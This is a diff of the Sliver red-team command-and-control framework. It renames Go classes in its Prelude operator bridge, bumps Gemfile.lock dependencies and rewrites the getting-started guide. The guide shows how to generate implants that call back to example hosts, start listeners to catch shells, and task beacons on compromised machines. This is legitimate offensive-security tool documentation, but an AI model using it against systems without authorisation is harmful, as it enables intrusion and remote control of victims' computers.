+	// Use a default sleep time for sessions,
+	// but respect the one we have for beacons
+	sleepTime := defaultImplantSleep
+	if b, ok := a.(*clientpb.Beacon); ok {
+		sleepTime = int(b.ReconnectInterval)
+	}
+
+	beacon := OperatorBeacon{
+		Name:      a.GetID(),
 		Target:    p.conf.OperatorURL,
-		Hostname:  s.Hostname,
-		Location:  s.Filename,
-		Platform:  s.OS,
+		Hostname:  a.GetHostname(),
+		Location:  a.GetFilename(),
+		Platform:  a.GetOS(),
 		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(s.OS, s.Arch),
+		Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
 
 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
+	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
-		Name:      sessName,
+		Name:      a.GetID(),
 		AESKey:    encryptionKey,
 		Range:     p.conf.Range,
 		Contact:   "tcp",
 		Address:   p.conf.OperatorURL,
-		Pid:       int(s.PID),
+		Pid:       int(a.GetPID()),
 		Executing: make(map[string]Instruction),
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
-	util.EncryptionKey = &agentConfig.AESKey
-	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+	bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
 	p.Lock()
-	p.sessions = append(p.sessions, agentSession)
+	p.implantBridges = append(p.implantBridges, bridge)
 	p.Unlock()
-	go agentSession.ReceiveLoop()
+	go bridge.ReceiveLoop()
 	return nil
 }
 
-func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
+func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
 	p.Lock()
-	for _, agentSession := range p.sessions {
-		if agentSession.Session.ID == s.ID {
-			if agentSession.Conn != nil {
-				err = (*agentSession.Conn).Close()
+	for _, bridge := range p.implantBridges {
+		if bridge.Implant.GetID() == imp.GetID() {
+			if bridge.Conn != nil {
+				err = (*bridge.Conn).Close()
 			} else {
 				err = errors.New("connection is nil")
 			}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
 	return err
 }
 
-func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
+func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
 	return p.conf
 }

client/prelude/util/executors.go

@@ -21,25 +21,23 @@ package util
 func DetermineExecutors(platform string, arch string) []string {
 	platformExecutors := map[string]map[string][]string{
 		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe"},
-			"executor": {"pwsh", "psh", "cmd", "bof"},
+			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
+			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
 		},
 		"linux": {
-			"file":     {"python3", "pwsh", "sh", "bash"},
-			"executor": {"python", "pwsh", "sh", "bash"},
+			"file":     {"python3", "sh", "bash"},
+			"executor": {"python", "sh", "bash"},
 		},
 		"darwin": {
-			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
+			"file":     {"python3", "zsh", "sh", "osascript", "bash"},
+			"executor": {"python", "zsh", "sh", "osa", "bash"},
 		},
 	}
 	var executors []string
 	for platformKey, platformValue := range platformExecutors {
 		if platform == platformKey {
 			for i := range platformValue["file"] {
-				// if checkIfExecutorAvailable(platformValue["file"][i]) {
 				executors = append(executors, platformExecutors[platformKey]["executor"][i])
-				// }
 			}
 		}
 	}

docs/Gemfile.lock

@@ -1,7 +1,7 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4)
+    activesupport (6.0.4.6)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.17.13)
-      ruby-enum (~> 0.5)
+    commonmarker (0.23.4)
     concurrent-ruby (1.1.9)
-    dnsruby (1.61.7)
+    dnsruby (1.61.9)
       simpleidn (~> 0.1)
-    em-websocket (0.5.2)
+    em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
-      http_parser.rb (~> 0.6.0)
-    ethon (0.14.0)
+      http_parser.rb (~> 0)
+    ethon (0.15.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.5.0)
+    faraday (1.10.0)
       faraday-em_http (~> 1.0)
       faraday-em_synchrony (~> 1.0)
       faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
       faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.1)
+      faraday-net_http_persistent (~> 1.0)
       faraday-patron (~> 1.0)
-      multipart-post (>= 1.2, < 3)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
       ruby2_keywords (>= 0.0.4)
     faraday-em_http (1.0.0)
     faraday-em_synchrony (1.0.0)
     faraday-excon (1.1.0)
     faraday-httpclient (1.0.1)
+    faraday-multipart (1.0.3)
+      multipart-post (>= 1.2, < 3)
     faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.1.0)
+    faraday-net_http_persistent (1.2.0)
     faraday-patron (1.0.0)
-    ffi (1.15.3)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
+    ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (215)
-      github-pages-health-check (= 1.17.2)
+    github-pages (225)
+      github-pages-health-check (= 1.17.9)
       jekyll (= 3.9.0)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.1.6)
+      jekyll-commonmark-ghpages (= 0.2.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
       jekyll-github-metadata (= 2.13.0)
+      jekyll-include-cache (= 0.2.1)
       jekyll-mentions (= 1.6.0)
       jekyll-optional-front-matter (= 0.3.2)
       jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
       jekyll-relative-links (= 0.6.1)
       jekyll-remote-theme (= 0.4.3)
       jekyll-sass-converter (= 1.5.2)
-      jekyll-seo-tag (= 2.7.1)
+      jekyll-seo-tag (= 2.8.0)
       jekyll-sitemap (= 1.4.0)
       jekyll-swiss (= 1.0.0)
-      jekyll-theme-architect (= 0.1.1)
-      jekyll-theme-cayman (= 0.1.1)
-      jekyll-theme-dinky (= 0.1.1)
-      jekyll-theme-hacker (= 0.1.2)
-      jekyll-theme-leap-day (= 0.1.1)
-      jekyll-theme-merlot (= 0.1.1)
-      jekyll-theme-midnight (= 0.1.1)
-      jekyll-theme-minimal (= 0.1.1)
-      jekyll-theme-modernist (= 0.1.1)
-      jekyll-theme-primer (= 0.5.4)
-      jekyll-theme-slate (= 0.1.1)
-      jekyll-theme-tactile (= 0.1.1)
-      jekyll-theme-time-machine (= 0.1.1)
+      jekyll-theme-architect (= 0.2.0)
+      jekyll-theme-cayman (= 0.2.0)
+      jekyll-theme-dinky (= 0.2.0)
+      jekyll-theme-hacker (= 0.2.0)
+      jekyll-theme-leap-day (= 0.2.0)
+      jekyll-theme-merlot (= 0.2.0)
+      jekyll-theme-midnight (= 0.2.0)
+      jekyll-theme-minimal (= 0.2.0)
+      jekyll-theme-modernist (= 0.2.0)
+      jekyll-theme-primer (= 0.6.0)
+      jekyll-theme-slate (= 0.2.0)
+      jekyll-theme-tactile (= 0.2.0)
+      jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
       kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
       liquid (= 4.0.3)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.10.4, < 2.0)
+      nokogiri (>= 1.12.5, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
-    github-pages-health-check (1.17.2)
+    github-pages-health-check (1.17.9)
       addressable (~> 2.3)
       dnsruby (~> 1.60)
       octokit (~> 4.0)
-      public_suffix (>= 2.0.2, < 5.0)
+      public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
     html-pipeline (2.14.0)
       activesupport (>= 2)
       nokogiri (>= 1.4)
-    http_parser.rb (0.6.0)
+    http_parser.rb (0.8.0)
     i18n (0.9.5)
       concurrent-ruby (~> 1.0)
     jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
     jekyll-coffeescript (1.1.1)
       coffee-script (~> 2.2)
       coffee-script-source (~> 1.11.1)
-    jekyll-commonmark (1.3.1)
-      commonmarker (~> 0.14)
-      jekyll (>= 3.7, < 5.0)
-    jekyll-commonmark-ghpages (0.1.6)
-      commonmarker (~> 0.17.6)
-      jekyll-commonmark (~> 1.2)
+    jekyll-commonmark (1.4.0)
+      commonmarker (~> 0.22)
+    jekyll-commonmark-ghpages (0.2.0)
+      commonmarker (~> 0.23.4)
+      jekyll (~> 3.9.0)
+      jekyll-commonmark (~> 1.4.0)
       rouge (>= 2.0, < 4.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
     jekyll-github-metadata (2.13.0)
       jekyll (>= 3.4, < 5.0)
       octokit (~> 4.0, != 4.4.0)
+    jekyll-include-cache (0.2.1)
+      jekyll (>= 3.7, < 5.0)
     jekyll-mentions (1.6.0)
       html-pipeline (~> 2.3)
       jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
       rubyzip (>= 1.3.0, < 3.0)
     jekyll-sass-converter (1.5.2)
       sass (~> 3.4)
-    jekyll-seo-tag (2.7.1)
+    jekyll-seo-tag (2.8.0)
       jekyll (>= 3.8, < 5.0)
     jekyll-sitemap (1.4.0)
       jekyll (>= 3.7, < 5.0)
     jekyll-swiss (1.0.0)
-    jekyll-theme-architect (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-cayman (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-dinky (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-hacker (0.1.2)
+    jekyll-theme-architect (0.2.0)
       jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-leap-day (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-cayman (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-merlot (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-dinky (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-midnight (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-hacker (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-minimal (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-leap-day (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-modernist (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-merlot (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-primer (0.5.4)
+    jekyll-theme-midnight (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-minimal (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-modernist (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-primer (0.6.0)
       jekyll (> 3.5, < 5.0)
       jekyll-github-metadata (~> 2.9)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-slate (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-slate (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-tactile (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-tactile (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-time-machine (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-time-machine (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
     jekyll-titles-from-headings (0.5.3)
       jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
     liquid (4.0.3)
-    listen (3.5.1)
+    listen (3.7.1)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.6.1)
+    mini_portile2 (2.8.0)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.14.4)
+    minitest (5.15.0)
     multipart-post (2.1.1)
-    nokogiri (1.12.5)
-      mini_portile2 (~> 2.6.1)
+    nokogiri (1.13.3)
+      mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.21.0)
+    octokit (4.22.0)
       faraday (>= 0.9)
       sawyer (~> 0.8.0, >= 0.5.3)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
     public_suffix (4.0.6)
-    racc (1.5.2)
-    rb-fsevent (0.11.0)
+    racc (1.6.0)
+    rb-fsevent (0.11.1)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
     rouge (3.26.0)
-    ruby-enum (0.9.0)
-      i18n
-    ruby2_keywords (0.0.4)
+    ruby2_keywords (0.0.5)
     rubyzip (2.3.2)
     safe_yaml (1.0.5)
     sass (3.7.4)
@@ -261,14 +267,14 @@ GEM
       ethon (>= 0.9.0)
     tzinfo (1.2.9)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.1)
+    tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.7.7)
-    unicode-display_width (1.7.0)
+    unf_ext (0.0.8)
+    unicode-display_width (1.8.0)
     wdm (0.1.1)
-    zeitwerk (2.4.2)
+    zeitwerk (2.5.4)
 
 PLATFORMS
   ruby

docs/_posts/2021-07-07-getting-started.md

@@ -6,27 +6,28 @@ date:   2021-07-07 09:01:33 -0500
 categories: sliver
 ---
 
-# 1. Server Setup
-
-The first thing you'll need to do is setup a Sliver server.
-
-The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
-
-Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
-
-__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
-
-The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
 
 
-### MinGW Setup (Optional)
+__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
+
+## Server Setup
+
+The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
+
+The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+
+Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
+
+__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
+
+### MinGW Setup (Optional, Recommended)
 
 In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
 
-#### Linux
+#### Linux (Debian-based)
 
 ```
-apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
+apt install mingw-w64
 ```
 
 #### MacOS
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
 brew install mingw-w64
 ```
 
-__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
 
 ### Metasploit Setup (Optional)
 
-We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
+We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
+
+## Implants Beacon vs. Session
+
+Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
+
+Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol. 
+
+Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
+
+Some commands such as `shell` and `portfwd` only work over interactive sessions.
 
 ## Generating Implants
 
+__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
+
 Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
 
+#### Session Mode
+
 ```
-sliver > generate --mtls example.com --save /Users/moloch/Desktop
+[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
 
 [*] Generating new windows/amd64 Sliver binary
-[*] Build completed in 00:10:16
+[*] Build completed in 00:00:16
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
 
-Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
+#### Beacon Mode
 
 ```
-sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
+[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
+
+[*] Generating new windows/amd64 beacon implant binary (1m0s)
+[*] Symbol obfuscation is enabled
+[*] Build completed in 00:00:27
+[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
+```
+
+Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
+
+Some commands/features may not work on "unsupported" platforms.
+
+```
+sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
 
 [*] Generating new darwin/amd64 Sliver binary
-[!] Symbol obfuscation is disabled
-[*] Build completed in 00:00:03
+[*] Build completed in 00:00:09
 [*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
 ```
 
-The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
+The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
 
 ```
-sliver > slivers
+sliver > implants
 
 Name                    OS/Arch        Debug  Format
 ====                    =======        =====  ======
@@ -83,7 +110,7 @@ SICK_SPY                darwin/amd64   false  EXECUTABLE
 If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
 
 ```
-sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
+sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
 
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
 
 ## Getting Shells
 
-Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
+Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
 
 ```
 sliver > mtls
@@ -113,26 +140,101 @@ ID  Name  Protocol  Port
 
 In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
 
+### Interacting with Sessions
+
+The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
+
 ```
-[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
+[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
 
-sliver > use 1
+sliver > use 8ff2ce4c
 
-[*] Active sliver PROPER_ANTHONY (1)
+[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
 
-sliver (PROPER_ANTHONY) > ls
+sliver (LONG_DRAMATURGE) > ls
 
 /Users/moloch/Desktop
 =====================
 .DS_Store                 6.0 KiB
 .localized                0 B
-PROPER_ANTHONY            6.3 MiB
+LONG_DRAMATURGE           6.3 MiB
 ```
 
+If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
+
+### Interacting with Beacons
+
+Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
+
+```
+[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
+
+[server] sliver > beacons
+
+ ID         Name                     Tasks   Transport   Remote Address        Hostname          Username                        Operating System   Last Check-In    Next Check-In 
+========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
+ 8c465643   RELATIVE_ADVERTISEMENT   0/0     mtls        192.168.1.178:54701   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      49.385459s ago   37.614549s 
+
+[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
+
+[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
+
+[server] sliver (RELATIVE_ADVERTISEMENT) >
+```
+
+You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > ls
+
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
+
+[+] RELATIVE_ADVERTISEMENT completed task 962978a6
+
+C:\git
+======
+drwxrwxrwx  a                           <dir>     Wed Dec 22 15:34:56 -0600 2021
+...
+```
+
+Tasks will execute in the order they were created (FIFO). 
+
+__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
+
+You can view previous tasks executed by the active beacon using the `tasks` command:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > tasks 
+
+ ID         State       Message Type   Created                         Sent                            Completed                     
+========== =========== ============== =============================== =============================== ===============================
+ 90294ad2   completed   Ls             Sat, 22 Jan 2022 14:45:00 CST   Sat, 22 Jan 2022 14:45:11 CST   Sat, 22 Jan 2022 14:45:11 CST 
+ 962978a6   completed   Ls             Sat, 22 Jan 2022 14:42:43 CST   Sat, 22 Jan 2022 14:43:53 CST   Sat, 22 Jan 2022 14:43:53 CST 
+```
+
+You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
+
+#### Switching from Beacon Mode to Session Mode
+
+You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > interactive 
+
+[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
+
+[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
+```
+
+__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
+
+When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
+
 
 ## Multiple Domains/Protocols
 
-You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
+You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
 
 ```
 sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
 
 Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
 
+## What Next?
 
+Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
+
+* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
+* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
+* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
+* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
+* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+  

docs/install

@@ -10,13 +10,13 @@ fi
 
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
     DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        zip unzip gpg curl build-essential \
+        gpg curl build-essential \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -32,12 +32,6 @@ then
     echo "awk could not be found"
     exit 1
 fi
-# Zip
-if ! command -v zip &> /dev/null
-then
-    echo "zip could not be found"
-    exit 1
-fi
 # GPG
 if ! command -v gpg &> /dev/null
 then
@@ -106,49 +100,34 @@ EOF
 # Download and Unpack Sliver Server
 #
 ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
-SLIVER_SERVER_ZIP='sliver-server_linux.zip'
